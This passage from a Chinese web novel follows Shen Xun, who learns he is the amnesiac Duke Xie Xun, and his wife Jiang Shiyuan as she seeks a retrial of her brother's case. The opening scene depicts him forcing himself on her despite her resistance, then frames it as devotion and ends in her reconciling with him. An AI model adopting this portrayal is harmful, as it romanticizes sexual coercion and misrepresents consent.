颇为书生气的手不急不慢地拨开她素白的里衣,拽下她常爱穿的水烟蓝抱腹,捏在掌心之中,丝绸柔软的面料在他指尖之中细细揉搓。 丝绸的冷感慰贴着烧人的温度。 沈浔覆在她的身上,似是求饶,又似丧家之犬般求她的怜爱垂眼。 他喉结上下轻滚:“阿愿” 他领着她的柔荑,摸上他的胸膛,又吻阿愿的手腕。 虔诚得犹如亲吻神邸。 “失去你我会疯.…"” 沈浔也觉得自己就如他所说大抵是疯了,仿佛只要占据了这是曼妙的身,体,逼她与自己融,和,逼她容下自己所有的不堪。做到水,乳,交,融,紧密贴合,阿愿才不会离开自己 沈浔自知不堪,但唯剩有此法。 他从未如此迫切地想要为自己而活。 他怕苦,所以阿愿出现了,而如今他已不能承受失去阿愿的后果, 仿佛现在留在他面前的唯有一条路,拉阿愿下神邸。 沈浔是这么想的,也是这么做的。 他将阿愿的反抗视而不见,握住她的盈盈细腰,强迫她接受自己。 姜时愿如琉璃盖般一碰就碎。 而沈浔又过于贪功冒进,忽略了她的脆弱。 直至她的痛苦,绞痛地连同沈浔自己都感同身受,他断弦的理智方才重塑过来,终于垂眸看见她眼角的未干泪痕,还有她欲恨未恨,尤为陌生的眼神 “阿愿我不是故意的.…” 连同声音都是颤的。 沈浔慌了,他从未见过阿愿如此冰冷的眼神。 他感受不到温柔,爱意。 沈浔想用指腹拭去姜时愿眼角的眼泪,却被她的柔荑冷冷打落。 姜时愿双眸殷红地看着沈浔,语气生冷,还带着几分残存同意的哭意:“放开我,沈浔。 阿愿总是这样,即便是动怒,嗓音依旧似掺了水般,清婉动听。 沈浔不为所动,不进也不退。 姜时愿看着他额发微垂,未脱情.欲的样子,竟是连看都不愿意看他,别过脸,依旧是命令:“放开我。 “你这样只会把我越推越远,沈浔。 越推越远,听到这四字,如同一根弦倏然绷紧,沈浔面色骤暗,连忙松开梏 姜时愿立马脱离他的阴翳之下,抓住抱腹胡乱地捂在身上,她缩在床尾,仍在簌簌发抖地警惕着沈浔。 沈浔方一抬手,她警觉地又脚趾蜷缩,蜷缩着身子,护着自己。 阿愿连同下意识地对他都是害怕的。沈浔见此,彻底六神无主,素来冷如寒潭的眼眸如今风浪不歇,软睫垂下,几乎快要破碎。 他方才不过展现一点,阿愿就对他避之不及,望向他的眼神,满是恐惧。 沈浔掌心被掐出深深的红痕,几经犹豫之后,他弯腰拾起散落在地下的青衫,轻轻地放在上。 沈浔起身下榻,看向姜时愿,柔声道:“阿愿,害怕这样我的吗?" 良久皆是沉寂,沈浔得不到答案,却已经是最好的答案。 沈浔知道,阿愿,不会接受这样的他,在一起不过是互相折磨 害怕吗?姜时愿也在问自己,方才的沈浔令她她毫无疑问是战栗的、惊恐的她印象中的沈浔总是是温润的,对她细致体贴的.她想过无数遍走近沈浔,但如果这是毫无保留的沈浔,她紧咬银牙,双眸殷红。姜时愿想她不能接受但也有比之更痛的.她看着沈浔转身,离她越来越远,霎时心如刀绞。阿耶,兄长,三七,皆已经相继离她而去,对她来说世上最亲之人仅剩下沈浔,她不能再想象失去沈浔的后果。彼岸花,叶落花开,花开而叶不在的教训,明嫩的爱而不得,始终映在她的脑海。她为彼岸花而伤,为明嫩而伤,是不是有一部分是因为她也感同身受。她无法推己及人,无法承受沈浔离开她的后果,她也不能没有沈浔的爱。姜时愿看着沈浔越走越远,杏眸蓄满眼泪。她又忽然想到,沈得的不安,沈浔的隐瞒,沈浔的渐行渐远,是不是也是因为她。因为她一个犹豫、一个不坚定、一个拒绝就可以轻而易举毁掉他的所有。思及此,姜时愿赤脚跑下,从背后抱着沈浔。“阿浔,我不会离开你,永远不会。”这一句话,姜时愿说得尤为笃定。沈浔抵在她的额间,喃喃道:“阿愿我要的是一辈子。“夫妻,自当共白首,我说的也是一辈子。”姜时愿答.沈浔笑了。他只求解脱,渴望甜。哪怕阿愿的话是掺着砒霜的糖,他也甘之如饸。冬雪已过,春宵弥漫。月落满屋,盈盈生辉,纱慢轻垂,烟零缭绕,帐内影影绰绰地映出两道相依的身影。姜时愿特意没点灯,昏暗之下,不知时辰。翻.云.覆,雨之后,二人身上都似临了一场久别的春雨,皆覆上一层薄薄的汗。姜时愿朝着里侧睡着,浑身上下皆是酸麻的。沈浔抱着她,指尖划过她鬓角的一缕青丝,再遇撩拨,姜时愿不堪其扰,特意将被褥拉得高高的。沈浔温润如玉的声音萦绕在她的耳旁:“疼吗?"姜时愿自然知晓他说的是什么,双颊绯红,只装作听不见,裹了裹被子,佯装睡去奈何她的夫君沈浔最擅人心,自然看穿了阿愿拙劣不堪的演技。沈浔笑了笑,直接轻轻抚过她的脸颊,气息温热:“为夫知道了,下次定会多克制半分、收敛本寸。姜时愿如今也是探破过无数要案的,也惯会思考疑犯话中的蛛丝马迹。她咬文嚼字,逐词分析。什么叫收敛?什么叫克制?什么又叫半分?什么叫本寸??姜时愿不敢细想,更不敢参透沈浔话中的一语双关。没想到她夫君俊冷的皮囊之下,也会如此孟浪.更没想到她夫君平和的性子之下,如此不饶人且难以招架。姜时愿不甘道:“没有下次了。方还是笑意温存的沈浔,慢慢淡了,甚至,凝固。 她学着沈浔的方才的举动,领着他略有剥茧的手掌放在她的腰际,踮着脚尖,轻轻拽开他的系带,帮他脱去他已经半干的爽衣,抚摸他精,壮的腰侧,吻上他的眉眼。 渐渐地,怀中之人睡意绵长,沈浔笑看着阿愿恬静的睡颜,指腹从她的眉骨划至唇瓣,倏然想到了什么,披起大氅,起身下榻 现在已经寅时,不出半个时辰便天亮了。 沈浔念及阿愿,想去替她寻药,算上来去的脚程,轻功跃进,不出半刻,便能回到典狱,算上时辰错错有余。 细雨如丝,梦落烟雨。 沈浔趁着夜色,正欲走出一处,却看见陆案吏衣袂飘飘,带着几分书卷气,神色凝重地朝他越走越近。 沈浔与陆案吏的关系交之平平,若说照常,他必当视而不见。 而今夜,初逢雨露的他少了疏冷,更多了几分柔和。 沈浔看着夜幕而归的人,问安,“陆案吏,好久不见。 陆观棋凝着沈浔,步步走近他,声音微颤着:“沈司使,陆某可否有幸邀你前往祠堂一叙。 沈浔念及要事,谦和行礼:“沈某要事在身,抱歉,下次。 然而平日浸有儒礼教养的陆观棋,却抬手拦下沈浔。 二人视线相会,沈浔的眼神寒星而射,而陆观棋也罕见地不退不让,“就在今夜,一刻都不能等,也一刻不容许陆某等。 陆观棋贴近沈浔的脸:“此地不宜商谈。况且,接下来陆某所说之事,相信沈司使也不愿让厢房内的美司使听到。" 沈浔眼神瞬黯,冷笑一声,挑了挑眉,皮笑肉不笑地看着陆观棋。 平静的皮相之下,笑意之中,隐藏着被轻而易举地拿捏七寸而被激怒的杀心。 神龛之上,青烟缭绕,神佛阖目似哀。 夜风轻拂,吹过檐铃,铃音之声绕梁不断。 祠堂之中,仅有两人。 沈浔站在金身佛像之下,倒拿三灶香,漫不经心在摇曳的烛火上点燃,问道:“陆案吏想与沈某说的是何要事?" 他察觉到陆观棋神色算不上白然,相比平时都更加严肃。 “沈司使可知陆某去了何处?" "沈某怎么知道。”沈浔觉得好笑,然而下一瞬他却怎么也笑不起来了,只听陆观棋淡道,“陆某先去了洛州。 “去洛州干什么?”沈浔神色微凝,手背青筋乍起,却仍不动声色地问到,“可是案子还有疑点?" “疑点重重,可惜有人将一切瞒天过海。”陆观棋看着眼前的玄衣玉立, 烛香已点燃,沈浔插在青炉之中,清隽面容晦暗难辨。 陆观棋:“其实你不是沈浔,对吧。” 沈浔神色凉道: “沈某极厌自证,陆观棋若是有证据,大可对簿公堂,沈某自当奉陪 沈浔有沈氏祖传信物为证,又欺蓝禾眼盲不辨真面目,又有人证,如今陆观棋已无法击溃他完美编织的谎言 而且他根本没有实证,又毫无对策,就如下棋一般,能将他置入死地,四面受敌,唯有魏国公一人。 陆观棋也早就预料到此。 若沈浔真的是谢循,以他的心计,绝对不可能留下对他不利之人或者证物。 所以,沈氏玉佩在他手上,唯一能辨认身份的蓝夫人也死了,就连追查他的顾辞,也被灌上假身份,死得不明不白。 他知道,这一切都是沈浔的手笔。 所以,陆观棋反其道而行之,并无执着在查证他不是沈浔。 而是,去了观音庙,去验明他就是谢循。 沈浔冷然转身,微眯着眸子,听着陆观棋难掩激动。 “三年前,惊蛰时,二月六,魏国公曾接到密信一封。同时,暗河派出杀手,追杀当年遗留的沈氏余孤。 "陆某就曾疑心过,八年时光中沈得一直消声觅迹,甚至连暗河都不知晓这个漏网之鱼,为何,在三年前忽然沈活的行踪乍现,紧接着沈氏余孤的消息传出,陆某想知道究竟是谁放出的消息,沈氏余孤还存活在世上? “陆某细想了想,此人只能是魏国公。" “放出假消息做饵,是魏国公引暗河出手的计策。” “你究竟想说什么。”沈浔的话音寒凉。 陆观棋扬高声音,不再温润:“你可知,同年二月六,惊时,魏国公曾于交代袁黎,他会出趟远门,归期不定。 “所有变故,皆是起源于惊蛰时,二月。" “陆某在想,当年魏国公是不是以身入局,与袁黎交代远走,所去之地是不是观音庙?" “魏国公所说的归期未定的意思,是不是因为他也知晓,自己也许会失去记忆而回不来了?" 陆观棋静盯沈浔,话语刀锋也无不向着沈浔。 “你大抵是疯了竟然认为我是谢循?”沈浔微扬下颌,满是阴翳,威胁道。 “你要知道阿愿最恨” 阿愿最恨谢循,他心知肚明。 陆观棋面色涨红,笑了笑:“陆某还什么都没说呢,沈司使却如此激动,是不是因为你心中也早就有此猜疑?" 陆观棋即便呼吸凝滞,依然咬着牙,大喊道:“同年,惊蛰二月六,惊蛰时,二月六,姜司使于京郊外观音庙救下重伤不治的沈司使。 “我说的,没错吧。" 陆观棋急喘着,半是激动,半是窒息: “你当着不觉得这一切过于巧合吗?" “惊蛰 ,二月六,魏国公失踪,而失忆的沈得现身。" 陆观棋沈浔眸色皎皎如霜,又见他的掌心止不住地颤抖,便知道他猜对了。 沈浔在害怕,他如此高傲,满腹成算之人,竟然也会慌乱,就说明自己的猜测就是对的。 他绝不是沈浔。 “您的年岁、身形、性子、棋路,特别是口味,皆与魏国公如出一辙。" “你极爱甜食,爱食桂花糕,你可知魏国公唯爱的也只有甜江月的桂花糕。 “还有袁黎,你当真不觉得奇怪吗 “袁黎向来只亲近魏国公一人,而他为何会对你一见如故!袁黎虽是小儿心性,但他的直觉向来是最准的。 闻言 沈浔手臂肌肉倏然紧绷 暴怒地掐着陆观棋的脖子,将他重重地逼退至墙底 越接近真相,陆观棋愈发变得歇斯底里,脖子上的力道亦逐渐加重,沈得的五指狠狠嵌进陆观棋的皮肤之中,恨不得将他的脖颈掐断。 沈浔又想起明嫩唤自己“阿循”,加之陆观棋的步步验证,将他推入悬崖之上。 他很想反驳,却又苍白无力 一切又仿佛尘埃落定。 沈浔怒不可遏,杀心进起,: “陆观棋,你真的该死!” 陆观棋将近气绝,奄奄一息,“魏国公典狱需要你” 然后沈浔此刻极度地不理智,如同一个被激怒的凶兽,遇神杀神,遇佛杀佛。 他精心用谎言、人命编织的''真相’,即将分崩离析,毁于一旦。 沈浔不顾后果地想杀了陆观棋,堵住他的满口荒唐,叫他闭嘴,别让阿愿知道。 眼见陆观棋就要死在他的手下,此时,袁黎突然蹿了出来,抱着他的腰身,泪水浸湿他的锦服:“不要! “让开!”沈浔吼道。 “谢循!”袁黎气急之下喊出声。 “你也知道了?”沈浔 沈浔一怔,声音难以置信地低沉而嘶哑。 “是…” 袁黎声泪俱下,哭着问他,“难不成主君也要杀了我吗.…" 袁黎的鼻涕和泪水糊在一起,他将沈浔的掌心按在自己的脖颈上:“如果主君不要袁黎了,袁黎便将主君救下来的这条命还给你.…" 眼见之沈浔错愕,迟迟不动,失落地收回手,袁黎哭得身体缩成一团,扑在沈浔的怀里。 嚎啕大哭。 袁黎仿佛要将所有的委屈倾泻出来 “主君不要不要袁黎,也不要不理袁黎….,袁黎会乖乖听话的" “主君袁黎也等了你很久求求你…回来吧" 稚嫩的哭声如此无助,回荡在祠堂之中。 沈浔不甘,冷笑,疲倦,麻木,心死。 心中纵使再不平也只能接受宿命的愚弄。 沈浔面向神佛,似寻求解答:“既要让我生来是谢循,又何必让我成为沈浔。 但他也清楚,善恶有报,这就是天罚。 惊蛰 ,二月六,谢循以身入局,放出沈氏余孤的假消息,引得暗河出手。 同日,同夜,失忆的沈浔被阿愿捡到,而后谢循从此不见。 由此,因果结缘,轮回报应。 他做了三年的沈浔 却忘了自己是魏国公,谢循。 (注:从此章以后,没有沈浔,皆以谢循为人称叙述。) 105、105.… 祠堂中,不见梵音,檐铃轻响。 烛火摇曳,佛面法相庄严,膝上双手结印,敛目垂下。莲花座下,站着的并非虔诚的信徒,更非不敬不畏之人。 谢循长身玉立,扬颌望向神佛,声音冷冷:“既要让我生来是谢循,又何必让成为沈浔?” 谢循问神佛,神佛不语,陆观棋和袁黎更无法回答,他低头笑笑,心中苦涩哀乐唯他一人知道。 昏暗的光芒被金乌一点点吞噬、敛尽,再露光明。 是漫长的寂静。 谢循站在佛像下,从黑夜静站到黎明,却无解,更没想到任何一条生路。 他又该如何面对阿愿,告诉她,她的夫君不是沈浔。而是亲定她全家冤案、害她姜家不幸的奸臣,谢循。 谢循的眼眸恍若水墨,墨色尤浓,更似浑浊。 他恍然若梦,指腹拭去眼角,才见晶莹,清澈。 陆观棋见天色渐亮,撩起衣袍,跪在地上:“还望主君即刻归位,重掌典狱。” 袁黎看着陆观棋神色凝重,亦后知后觉跟着跪下,双手抱合:“对,主君,那个赝品取代你已经太久,袁黎这就为你杀了他,将他千刀万剐。” 谢循再怜一眼佛像,眼底愠色更浓,冷然转身,抬手制止,“我不愿再做谢循,今日之事,不许再提。” 拔步离开时,谢循只有留一句。 不聊典狱,无关影子生死,只在意姜时愿。 “谁若敢在阿愿面前提及一句,我必定让他求生不得,求死不能。” 炽碎的阳光穿透薄薄帐帘,细细碎影映在姜时愿的眉目上,她蹙了蹙眉,睁开双眸,却见枕边人已然不见… 她摸着被褥余温,显然已经离开很久…. 身上的点点红梅,还有四肢的酸楚僵疼,让姜时愿想起昨曰的温存,更让那些风流、孟浪历历在目。谁会想到她向来清冷自持的夫君,竟如此精通床榻之事。 姜时愿本就生气他昨日的不体贴,谁料今日起身更是没见到罪魁祸首… 她嘟着嘴,微微有些气怨,难不成真遂了话本上所说的那般,男子皆是提上裤绳,就翻脸不认人。 还未来得及多想,院外便有阵仗,姜时愿赶紧推门而出,就见御前内侍总管崔广事携着三五小黄门,登临典狱。 崔广事扯着尖锐的细噪:“奉陛下的口谕,请姜司使进官面圣。”他又上下打量了眼姜时愿,提龌道:“姜司使,面圣可非儿戏,请穿孔雀紫袍,佩金玉带 十三,执象牙笏板,莫落个细前失礼。” “是。”姜时愿听出敲打之意,谢过崔广事。 陆不语昨夜所说,果真分毫不差。万寿案告破,惊动上下朝野,翌日姜时愿必将亲自面圣,是奖是封赏亦或者特赦,皆在今日。 她绝不可掉以轻心。 官道之上,崔广事再多打量了姜时愿几眼,并无钗环,略施粉黛,她的美在纷乱后宫中不算浓郁、惊艳,更似淡如竹兰,可便是这份清丽确实花丛中独一份的。 真不愧是姜家教养出来的。 “请吧,姜司使。”崔光事退至一边。 姜时愿只身走入宣政殿,銮金盘龙柱后,庆帝提着狼毫挥洒笔墨,章法严谨,力透笔墨,入木三分。太子祁钰侍奉在旁,研磨。 听闻动静和内侍的通禀,父子二人齐齐抬了头。 姜时愿赶紧跪下,行着大礼,“臣女姜时愿见过陛下,见过太子殿下。” 庆帝却未抬手,也并未让姜时愿平身,搁下狼毫,归坐于龙椅之上,天威凛凛:“姜家果真祖茔繁茂,子弟皆入仕为官且至高位,就连女子也是不俗的。”分明是夸赞,姜时愿却听闻出帝王更深的忌惮之意,圣人在忌惮父亲辅佐三朝,高至左相;也在忌惮兄长姜淳,子承父裘。更忌惮自己也进入朝堂。忌惮是真,可如今昔日的姜家不再,庆帝终有忌惮,也只觉此火还不成气候。 所以,今日的封赏也是真的。 姜时愿曾在万寿宴后救下命悬 线的庆帝,又力破此案,找出潜藏在圣人身边的暗河细作。两件功劳并赏,绝对能保姜时愿辈子荣华富贵,重振姜氏。“姜司使如今立此汗马功劳,不知可想要向孤讨什么封赏?良田千顷、广厦万千,加官进爵,可有中意的?”庆帝的声音沉稳从容,不急不慢地问出,仿佛是在向姜时愿罗列选项。还不等庆帝话落,姜时愿两只纤匀的玉臂高举玉牒,呈于殿堂。 “臣女姜时愿不求封赏,只求陛下重审兄长姜淳谋害燕王一案!” “臣女担保兄长忠君爱国,绝不会有不臣之心,求陛下明鉴,交于三司,重查兄长之案!求陛下还兄长清白,还姜家清誉!” 言之,姜时愿双眸殷红,忍着三年日夜苦压的委屈字字强稳、字字沉着说出,清婉坚韧之声响彻大殿,绕梁三许。 令在场之人无不屏息。 宫女内侍皆吓得伏跪在地,祁钰一下又一下更迭力道磨着砚台,庆帝撑首看着姜时愿眸色沉沉,问道:“你可知此案乃是魏国公亲审亲定?““知道。”姜时愿迎着凌厉的话峰而上,“案件疑点颇多,魏国公却置之不顾,臣觉得谢循定是包庇…”“放肆!”祁钰低呵而出,“魏国公办案从无差错,你莫不是在指魏国公故意诬赖姜家,是吗?”姜时愿又欲开口,又被祁钰堵住,低低出口:“姜时愿想清楚了,再回话。” 接二连三的话口皆被祁钰堵住,姜时愿隐隐察觉不对,改口道:“臣女并无指责魏国公之意,只是兄长案件却有疑点,臣女只想重查冤案,还兄长清白。”姜时愿望向庆帝,身姿不卑不亢,眼峰不让。 庆帝撑首许久,沉默许久,方说道:“孤听过你的名字,姜时愿。不愧是你的父亲姜衍所取之名,时时为机,如愿如归。平安喜乐,万时顺遂。”“罢了,孤也想让姜司使顺遂,此事…”庆帝刚想摆手,允了,又听内侍传唤。 内侍尖锐的话音甫落,只见青鬼獠牙、玄衣阔袖提步进入宣政殿。 “姜司使,好久不见。” 融雪玉碎的声音,从身后传来,姜时愿心头忽跳,转身看到熟悉的‘罗刹就立在她的身边。 是‘谢循….他怎么偏偏就在此时回京… 算着脚程不是还有三日,为何偏偏是在现在。 姜时愿双眸含恨,死死盯着眼前的‘罗刹。 影子方想行礼,就被庆帝抬手按下,说道魏国公不必跪。庆帝先是赞扬魏国公侦破假银案有功,又赏黄金千两,影子—谢过。 三年的忍辱就在今朝,姜时愿分明仅差一口气了,她不忍此事就此掀过。 “臣女以死恳求陛下重审兄长姜淳谋害燕王一案!”姜时愿重重磕在冷玉砖石之上,殿内的宫女、内侍又跟着心口一紧。姜淳之案乃是谢循亲审,若重查,则势必万民百官将对典狱及谢循的威信心存疑云。 官场浮沉,谢循铁腕手段,监察百官,百官不喜,但却是帝王手中最好的一把利剑。谢循若失势,百官并群起笔伐,到那时,庆帝难保。 所以,庆帝是在保谢循,更是在保天子天威。 姜时愿可以重查冤案,但并不能以此案攻之谢循失职,这也是为何祁钰要屡次出言制止姜时愿的原因。 如今魏国公亦在,庆帝不能不顾及自己手中利刃的感受。 但有功之臣以死相逼,庆帝骑虎难下,眼神微眯,看着影子:“魏国公,有何想法?” “臣体谅姜司使三年为兄长鸣冤的心情,既要姜司使要重查冤案,那便重查重审。”影子冷言。 正当姜时愿难以置信的时候,只听影子又道:“此案是臣主审,且姜司使乃是重犯姜淳的胞妹,此案要是重审,实在不合适再移交给典狱。”“移交给监察司,既能避嫌,又能姜司使对臣的疑心,不知陛下意下如何?”影子道。姜时愿听明白了,这是想把她摘干净,不让她插手。且谢循为何亲定监察司重审,恐怕早已有利益牵连。“陛下!”姜时愿再欲开口。 庆帝垂着眼眸,再添笔墨,赞道:“魏国公所言有理。” “陛下.…”姜时愿再欲争辩,紧接着听见庆帝沉声:“怎么,孤已遂了姜司使之愿,重查旧案,你还有何不满。” 天威已下,姜时愿如受千钧之力,如被人捂嘴,三年积怨的苦水又将委屈咽下,她咬碎了牙的不甘,却无回天之力。 她的腿膝犹如千斤重,僵直着身体,逼迫自己叩首谢恩… 倏然,此时,祁钰出口:“监察司?若儿臣没有记错的话,监察司曾任左副都御史的宋清远曾与暗河有过往来。”“监察司内部还未整肃干净,如何负责要案?”祁钰笑着,“阿循,这事你有些冒进,有失考虑。”“那依太子之见,有何更为妥善的法子?”庆帝问。 “有。”祁钰道,“有儿臣携大理寺主审此案,即保公允,又可堵住群臣重口,不知陛下意下如何?”“好,就交给太子和大理寺负责此案。三日后,典狱移交卷宗,重审旧案。” 此事落定,再无纷争,姜时愿退出宣政殿之前,还听见罗刹再与圣人和太子说笑。 天敛至黄昏,金云落日,祁钰陪庆帝用过膳食之后,走出殿外,却见姜时愿仍站在廊下等他,他着屏退左右内侍,沿廊而下。姜时愿看见祁钰,忙不迭跪下:“多谢太子殿下出手相助。”祁钰轻咳着,踉跄扶起姜时愿,又重重咳嗽,拿着绢帕擦过嘴角血痕,沙哑道:“姜司使不必多礼。” “臣想知道太子殿下为何要帮我…”姜时愿喃喃出口。太子祁钰爽朗笑道:“姜司使不顾安危救下本宫的妹妹,于情于理,我都该还得。” “仅是如此?”姜时愿疑问道。 “怕是姜司使不仅是如此吧。”祁钰笑笑,“姜司使专门来找本宫,想来单单不是道谢这般简单吧?”祁钰看着她的明眸,说出她心中猜测,“你怕本宫偏颇阿循,届时刻意隐瞒真相?” “臣…不知…” 若论之前,姜时愿却有疑心,因为祁钰和谢循关系非同寻常,但今日大殿之上,她总觉得祁钰和谢循之间有些说不清、道不明的微妙…似近非近,似远非远。 祁钰折叠巾帕,柔声道:“放心吧,姜司使。本宫一个将死之人,其言也善,更不会违背本心,只想让一切都水落石出,本宫比谁都想得知当年真相。”“本宫在救你,也是在救阿浔,更是再救被困于宫中的所有人。”“早些回典狱吧,姜司使,皇城不适合你。”祁钰定定望着昏黄的天色,叹气道。 …… 昏光敛尽,祁钰看着寒梅凋落,只留下古怪嶙峋的枯枝。 祁钰咳嗽声欲重,身子虚浮无力,依着庭柱而歇下。他知道他就像着昏暗的天光,残存的火烛,即将不存于世。眼前隐隐浮现一个藏青袍蓝影,祁钰紧抿着唇,“阿循那边.…” 陆观棋摇了摇头,祁钰也跟着默叹:“好不容易找到阿循,可他却不愿意再做谢循了,任着那个赝品占着他的身份,为虎作依。” “他是谢循,却也不是曾经的谢循,优柔寡断,有了软肋。” “罢了,找到阿循之事,切记不要让左相知道,且让影子再苟延残喘一段时日吧。” “是。”陆观棋领命,“只是,下官怕若主君迟迟不肯归位。” 祁钰垂眸,沉声道:“本宫会让阿循会回来的,一定会…” 陆观棋退下之后,祁钰猛咳几声,殷血遍布青石,猩红刺眼。 如今姜时愿提议重查旧案,祁钰故意促成此事,添火加柴,将此火烧得更旺,就是想沉寂已久的幕后之人再露出爪牙。 旧案重提,祁钰相信幕后之人的爪牙迟早会伸向姜时愿。 届时,为了姜时愿,祁钰所等的谢循会回来的。 即便阿循再厌恶 魏国公’这个不堪的身份,即便他厌恶朝堂暗流纷争、尔虞我诈,他也会回来的…… 因为唯有他是谢循,才可以护住心爱之人。 他会不得已,再度,成为谢循。 祁钰捂着胸口,虚弱无力。他眼含悲凉:“阿循,别怪本宫逼你,本宫的时间不多了.….” 106、106(报!初撕马甲!)… 大理寺禀圣人的旨意,承受金云殿之案,这三日皆在马不停蹄地重组负责此案的人员,姜时愿花了重金找人打听风声,小道消息传言乃是大理寺卿亲自主审此案。 她对此人了解甚少,但兄长在世时曾寥寥提过几句,大理寺卿卓云隐高风亮节、刚正不阿,乃是可信之人。就此,姜时愿的心才暗暗松了口气,更何况她还打听到,协同负责彻查兄长冤案的官员里,还有一位熟人。那便是李奇邃。 夜色黑沉,她犯着禁忌,来到小院,私下求见李奇邃。李奇邃赶紧阖上木门,又严令下人走漏风声。 他知道姜姐姐如今的心情,向她保证一定会打起十二分的精神,借狄公之魂上身。“今日典狱已经将当年金云殿的卷宗和姜学士的验状移交给大理寺了,明日,此案便会重审。” 姜时愿闻言喜极而泣,李奇邃连忙安抚着她,但心中始终有句话不知当讲不当讲:“但是….姜姐姐,你真的做好准备了吗?”此案,李奇邃委实拿捏不准。当年,金云殿中是姜学士和燕王单独密见,守在殿外的禁军、内侍皆可作证。如此,便意味着,殿内乃是为完完全全的密室,刺杀燕王的真凶不是姜学土,就是燕王自己。 无论哪一种,想来姜时愿皆不会好受。 是姜学士,则意味着,姜姐姐要接受她的兄长是个不忠不义的奸臣。若是燕王…事及皇室宗亲、天子颜面,怕是难以昭雪。 “你放心…无论前往是荆棘,还是万丈深渊,我都不会犹豫,亦不会后悔。” 姜时愿比谁都更清楚,眼含热泪,字字珠玑。 是夜,姜时愿青丝半散,软弱无骨地倚在夫君的腿膝之上,忆起与兄长曾经的点点滴滴。 谢循抚摸着阿愿的鬓发,听着她颤着声。 “阿浔,虽不知前路,可我已经无路可退。不管背后之人是谁,我都一定要帮兄长昭雪。” “会的,阿愿,你定会如愿的。”谢循温声道。 姜时愿扑进他的怀中,裹挟在熟悉的白梅香中,握住他的手,道:“我要你一直陪着我,永世不弃。” “但凡阿愿回眸,我一定站在你的身后,不离不弃。”谢循笑道。 “等这一切结束,我们就带着袁黎离京,闲云野鹤。或者,我们 起经营 家医馆,阿得你就每日局起上山草药,袁黎负责帮我磨药”滚烫的泪水淌下,姜时愿笑着哽咽,“我就呆在柜台前收诊金。” “好。”谢循沉声道,又犹豫道:“但,阿愿,一定要带上袁黎吗?” “袁黎心性顽劣,难以教化,很会误事。” “比如什么?”姜时愿并不觉得如此不堪,挑眉问道。 “比如…” 温热的唇齿相接,化开两人的隔阂,毫无保留。 谢循抵在她的耳畔,嗓音掺杂着浓重的情欲,言明自己难耐的六欲:“阿愿心知肚明,何必折磨我?” 姜时愿难以招架…她的夫君于情事上总是性子大变… 谢循的大掌将姜时愿发髻间的白玉钗挽下,抵着她的蝽首,逼她与自己缠绵。情动之时,姜时愿羞态嫣然,娇羞低语:“阿浔。” 娇嗔软语,一连难以自控喊了几遍,但谢循难以餍足,手掌发颤,他深知他所期待的不是这个名字…他期待的是从阿愿樱齿红唇唤出的,不是沈浔的浔。 谢循抚上阿愿的脸颊,指腹抵着她的唇瓣,耳鬓厮磨:“我想听你唤我阿循…”“阿愿,唤我阿循,可好?”他声音犹如砂砾。 他现在希望阿愿叫他的,乃是谢循的姓,谢循的名。 而阿愿顺他的意,却不合他的心。 嗓音婉转如莺,喊的都是,阿浔。 “阿浔…” “一切尘埃落定后,我想带你去祭拜我的兄长,告诉兄长,你我的婚事。” “届时我要幕后之人血债血偿,也定要用谢循的血去祭拜我的兄长。” 话落,谢循的心倏然 搐动,万千蛊虫撕咬的疼痛袭来,带着姜时愿口中的“谢循”二字钻入他的心扉、五脏六腑、四肢百骸,啃食起他的血肉。 他捂着胸口,屏息着每一寸剧痛,可惜痛楚欲烈,化作无数薄汗覆在他的额间,衣衫已湿大半。谢循只能慌乱地松开阿愿的柳腰,不顾阿愿焦心的声音“你去哪里,阿浔…”,他无暇应对,夺门而出。 白无常开了几坛天子笑,酒气翻涌,正欲美美躺在摇椅上,赏着荷塘月色,欣然入睡,却见半死不活地拖着病躯迈入融雪阁。 白无常大惊失色,看着谢循气虚恹恹,青紫脉络又再次浮现,咬牙念叨:“魑,你不可再犹豫了,上次蛊虫发作距今,不过七日,怕是这发作时间会愈发缩短。” “再不解蛊,你真的会没命的! 白无常吼道:“快把母蛊给我!” 谢循撰着白无常的衣襟,眼神发狠,寸寸眸光如刀,寒意渗人,“我来是要你帮我压制蛊毒,不要做多余的事。” “你!”白无常觉得谢循大抵是疯了,疯到无边。 明明救赎之法,就在眼前,他非要闯进森罗地狱。 “快!”谢循威声又下,白无常拗不过他,银针渡穴,比之前更大量的毒药压制,才见谢循的脉络褪去大半青紫,暂时压抑。“这究竟不是长久之法,我用的量已是上次的三倍,再用五毒压制,怕是会失效。”纵使白无常苦口婆心,谢循依旧置若无闻,连片刻调息的时间都不愿留给自己,他被搀扶着起身,走向祠堂。祠堂中,佛烟袅袅盘旋而上,青炉上的鎏金鸦黄因为年久而褪了大半。 佛龛之上,莲座之下,青炉之下,埋着紫檀香盒。 盒中,就是能救他性命的母蛊。 谢循不敢将它藏在和阿愿的厢房中,只能藏在莲座之下。 一为避人,因为他知晓,典狱中人敬畏神佛,只敢瞻仰,不敢临近。二则有挑衅神佛之意,嘲讽神佛为他写下的命局,不甘自己被其摆布。 眼下蛊毒并未完全被压制住,谢循体内的子蛊和母蛊似有所感,兀自互相吸引,竟牵连着他轻挪脚步。他亦察觉到身体的异样,仿佛他的四肢在不听摆布,五指伸长朝着母蛊而去。谢循极厌这种无法自控的感觉,更厌被操控之感。 他骤然犹如拧断利刃,收回僵直的五指,一怒之下,打翻拱案,司使们供奉给神佛的供果零零落落,散落在地,甚至还有一个滚到谢循的脚旁。蛊毒未散,谢循眉目含煞看着佛主法相。 冷声如冰,威严如山。 “时乖命蹇,天扼吾运。” “我已立誓,不愿再为谢循。尔若有灵,当知我心如铁铸,若欲天罚,那便来吧。”“谢某亦不惧,独行其道,绝不屈膝!” 话落,谢循头痛欲裂,眼前之景飘动不定,头晕目眩,他陷入迷茫混沌。 谢循单跪在地上,痛苦扶额,恍惚之间,他感觉到有人携着冷冽之气靠近他。 他忍着脑海中五马分裂之痛,强忍抬眸,却见‘青鬼獠牙’之面具,近在眼前。 他看见了另一个谢循。 也就是失忆前的自己。 他笑意森森,拍着谢循的肩,问自己:“为何不愿做回我呢?” “你在害怕什么?害怕姜时愿知道真相抛下你?” “还是”他看穿了谢循的心思,俯下身子,言语暗嘲,“还是,你也在害怕我?害怕回想起了我的记忆,就会再度变为罗刹,连同对姜时愿的爱意都不复存在。” “好像确有道理…我即是你,你即是我,我们乃无心之人,大恶之人。” 那人放肆大笑,笑意森森,逼问着谢循,“你又怎么会有心呢!” “爱?别开玩笑了。”谢循看着他挑起自己的下颌,听着他冷笑,“真是好笑…爱?父母,恩师,朋友,哪个不说爱你,哪个又没有在害你?” 